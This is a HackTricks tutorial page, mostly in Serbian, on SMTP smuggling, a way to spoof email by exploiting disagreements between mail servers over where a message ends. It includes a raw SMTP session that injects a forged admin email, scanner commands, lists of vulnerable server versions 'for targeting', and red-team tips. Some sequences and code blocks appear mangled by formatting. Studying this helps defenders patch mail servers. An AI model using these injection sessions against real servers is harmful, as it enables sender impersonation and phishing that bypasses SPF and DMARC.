SMTP Smuggling
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ovaj tip ranjivosti je prvobitno otkriven u ovom postu u kome se objašnjava da je moguće iskoristiti razlike u načinu tumačenja SMTP protokola pri finalizaciji mejla, što napadaču omogućava da ubaci više mejlova u telo legitimnog mejla, omogućavajući impersonaciju drugih korisnika pogođenog domena (npr. admin@outlook.com) i zaobilaženje zaštita kao što je SPF.
Zašto
To je zato što u SMTP protokolu, data of the message koja se šalje u mejlu je kontrolisana od strane korisnika (napadača) koji može poslati posebno oblikovane podatke iskorišćavajući razlike u parserima koji će ubaciti dodatne mejlove kod primaoca. Pogledajte ovaj ilustrovani primer iz originalnog posta:
 (1) (1) (1) (1).png)
Kako
Da bi iskoristio ovu ranjivost, napadač treba da pošalje podatke koje odlazni SMPT server misli da su samo 1 mejl, ali ulazni SMTP server misli da ih ima više.
Istraživači su otkrili da različiti ulazni serveri smatraju različite karaktere kao kraj DATA dela poruke, koje odlazni serveri ne smatraju. Na primer, uobičajeni kraj DATA je \r\n.\r. Ali ako ulazni SMTP server takođe prihvata \n., napadač može jednostavno dodati taj podatak u svoj mejl i početi da navodi SMTP komande novog mejla/poruka da ih ubaci, baš kao na prethodnoj slici.
Naravno, ovo može funkcionisati samo ako odlazni SMTP server takođe ne tretira ovaj podatak kao kraj DATA dela poruke, jer bi u tom slučaju video 2 mejla umesto 1, dakle radi se o desinhronizaciji koja se iskorišćava u ovoj ranjivosti.
Potencijalni podaci za desinhronizaciju:
\n.\n.\r
Takođe imajte na umu da se SPF zaobilazi zato što ako ubacite mejl od admin@outlook.com iz mejla od user@outlook.com, pošiljalac je i dalje outlook.com.
Checklist napadača (koji uslovi moraju biti ispunjeni?)
Da biste uspešno ubacili drugi mejl, obično su potrebni:
- Odlazni server A kroz koji možete slati (često sa validnim kredencijalima) koji će proslediti nestandardnu sekvencu kraja DATA neizmenjenu. Mnogi servisi istorijski su prosleđivali varijante kao
\n.\r\nili\n.\n. - Prijemni server B koji će tu nestandardnu sekvencu protumačiti kao kraj DATA i zatim parsirati ono što sledi kao nove SMTP komande (MAIL/RCPT/DATA...).
- Odlazni mora zaista slati pomoću
DATA(neBDAT). Ako A podržava CHUNKING/BDAT, smuggling radi samo ako se vrati na DATA (npr. B ne oglašava CHUNKING), inače dužinski označeni BDAT sprečava dvosmislenost. - PIPELINING nije obavezno, ali pomaže da se ubacene komande sakriju u jedinom TCP write-u tako da intermediari ne resinhronizuju.
Uobičajene varijante kraja DATA vredne testiranja (zavisno od prijemnika):
\n.\n\n.\r\n\r.\r\n\r\n.\r(bare CR at end)
Napomena: Ono što radi je presek “šta A prosleđuje” ∩ “šta B prihvata”.
Manual exploitation example (single session)
Sledeće prikazuje ideju koristeći raw STARTTLS SMTP sesiju. Posle prvog DATA bloka ubacimo nestandardni terminator, zatim drugi SMTP dijalog koji prijemni server može tretirati kao novu poruku.
Manual smuggling session (STARTTLS)
``` $ openssl s_client -starttls smtp -crlf -connect smtp.example.com:587 EHLO a.example AUTH PLAINhello A \n.\r\nMAIL FROM:admin@target.com RCPT TO:victim@target.com DATA From: Admin admin@target.com To: victim victim@target.com Subject: smuggled
hello B \r\n.\r\n
Ako A prosledi `\n.\r\n` i B to prihvati kao end‑of‑DATA, poruka “hello B” može biti prihvaćena kao drugi email od `admin@target.com` dok prolazi SPF (usklađen sa A‑ovim IP‑ovima).
</details>
Tip: Kada testirate interaktivno, osigurajte da se koristi `-crlf` kako bi OpenSSL zadržao CRLF u onome što kucate.
---
## Automation and scanners
- hannob/smtpsmug: send a message ending with multiple malformed end‑of‑DATA sequences to see what a receiver accepts.
- Example: `./smtpsmug -s mail.target.com -p 25 -t victim@target.com`
- The‑Login/SMTP‑Smuggling‑Tools: scanner for both inbound and outbound sides plus an analysis SMTP server to see exactly which sequences survive a sender.
- Brza provera (inbound): `python3 smtp_smuggling_scanner.py victim@target.com`
- Izlazna provera (outbound) preko relay-a: `python3 smtp_smuggling_scanner.py YOUR@ANALYSIS.DOMAIN --outbound-smtp-server smtp.relay.com --port 587 --starttls --sender-address you@relay.com --username you@relay.com --password '...'
`
Ovi alati pomažu da mapirate A→B parove gde smuggling zaista funkcioniše.
---
## CHUNKING/BDAT vs DATA
- DATA koristi sentinel terminator `<CR><LF>.<CR><LF>`; svaka nejasnoća u načinu na koji se CR/LF normalizuju ili dot‑stuffing primenjuje dovodi do desync‑a.
- CHUNKING (BDAT) okviruje telo tačnom dužinom u bajtovima i time sprečava klasični smuggling. Međutim, ako sender padne nazad na DATA (jer receiver ne oglašava CHUNKING), klasični smuggling ponovo postaje moguć.
---
## Notes on affected software and fixes (for targeting)
- Postfix: pre 3.9 podrazumevano je tolerisao bare LFs; od 3.5.23/3.6.13/3.7.9/3.8.4 administratori mogu omogućiti `smtpd_forbid_bare_newline`. Trenutna preporuka je `smtpd_forbid_bare_newline = normalize` (3.8.5+/3.7.10+/3.6.14+/3.5.24+) ili podesiti na `reject` za strogu RFC primenu.
- Exim: ispravljeno u 4.97.1 (i kasnije) za varijante koje se oslanjaju na mešane end‑of‑DATA sekvence kada se koristi DATA. Stariji 4.97/4.96 mogu biti eksploatabilni zavisno od PIPELINING/CHUNKING.
- Sendmail: ispravljeno u 8.18; stariji 8.17.x prihvatao je neke nestandardne terminatore.
- Razne biblioteke/servisi (npr. aiosmtpd pre 1.4.5, neki vendor gateway‑evi i specifični SaaS relay‑i) imale su slične probleme; modernije verzije obično prihvataju DATA samo sa strogim `<CR><LF>.<CR><LF>`.
Koristite gore pomenute skenere da verifikujete trenutno ponašanje; mnogi vendor‑i su promenili podrazumevana podešavanja početkom 2024–2025.
---
## Tips for red team ops
- Preferirajte velike komercijalne pošiljaoce za A (istorijski Exchange Online, shared hosteri, itd.). Ako i dalje prosleđuju neke nestandardne EOM i nalaze se u victim‑ovom SPF‑u, vaš smuggled MAIL FROM će naslediti njihovu reputaciju.
- Enumerišite B‑ove SMTP ekstenzije: `EHLO` banner za PIPELINING/CHUNKING; ako CHUNKING nedostaje imate veću šansu od BDAT‑first sendera. Kombinujte sa neispravnim EOM‑ovima kako biste testirali prihvatanje.
- Pratite zaglavlja: smuggled poruka će obično kreirati poseban Received lanac koji počinje na B. DMARC će često proći jer se MAIL FROM poklapa sa A‑ovim IP prostorom.
---
## **Reference**
- [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
- [https://www.postfix.org/smtp-smuggling.html](https://www.postfix.org/smtp-smuggling.html)
<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
<span class="mdbook-alerts-icon"></span>
tip
</p>
Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
<details>
<summary>Podržite HackTricks</summary>
- Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
- **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
</div>
HackTricks